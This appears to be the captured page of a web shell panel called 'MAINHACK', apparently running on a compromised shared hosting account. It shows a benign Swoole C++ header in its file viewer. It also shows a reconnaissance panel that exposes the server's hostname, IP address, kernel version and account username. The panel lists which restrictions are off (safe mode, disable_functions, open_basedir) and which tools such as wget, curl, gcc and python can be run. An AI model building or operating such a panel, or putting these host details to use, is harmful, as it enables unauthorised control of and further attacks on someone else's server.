[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: swoole_dtls.h
File is not writable. Editing disabled.
/* +----------------------------------------------------------------------+ | Swoole | +----------------------------------------------------------------------+ | This source file is subject to version 2.0 of the Apache license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.apache.org/licenses/LICENSE-2.0.html | | If you did not receive a copy of the Apache2.0 license and are unable| | to obtain it through the world-wide-web, please send a note to | | license@swoole.com so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: Tianfeng Han <rango@swoole.com> | +----------------------------------------------------------------------+ */ #pragma once #include "swoole_ssl.h" #ifdef SW_SUPPORT_DTLS #include <deque> namespace swoole { namespace dtls { //------------------------------------------------------------------------------- using Socket = network::Socket; int BIO_write(BIO *b, const char *data, int dlen); int BIO_read(BIO *b, char *data, int dlen); long BIO_ctrl(BIO *b, int cmd, long larg, void *pargs); int BIO_create(BIO *b); int BIO_destroy(BIO *b); BIO_METHOD *BIO_get_methods(); void BIO_meth_free(); struct Buffer { uint16_t length; uchar data[0]; }; struct Session { std::shared_ptr<SSLContext> ctx; bool listened = false; Socket *socket; std::deque<Buffer *> rxqueue; bool peek_mode = false; Session(Socket *_sock, const std::shared_ptr<SSLContext> &_ctx) { socket = _sock; ctx = _ctx; } ~Session() { while (!rxqueue.empty()) { Buffer *buffer = rxqueue.front(); rxqueue.pop_front(); sw_free(buffer); } } bool init(); bool listen(); void append(const char *data, ssize_t len); void append(Buffer *buffer) { rxqueue.push_back(buffer); } size_t get_buffer_length() const { size_t total_length = 0; for (const auto i : rxqueue) { total_length += i->length; } return total_length; } }; //------------------------------------------------------------------------------- } // namespace dtls } // namespace swoole #endif
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: N/A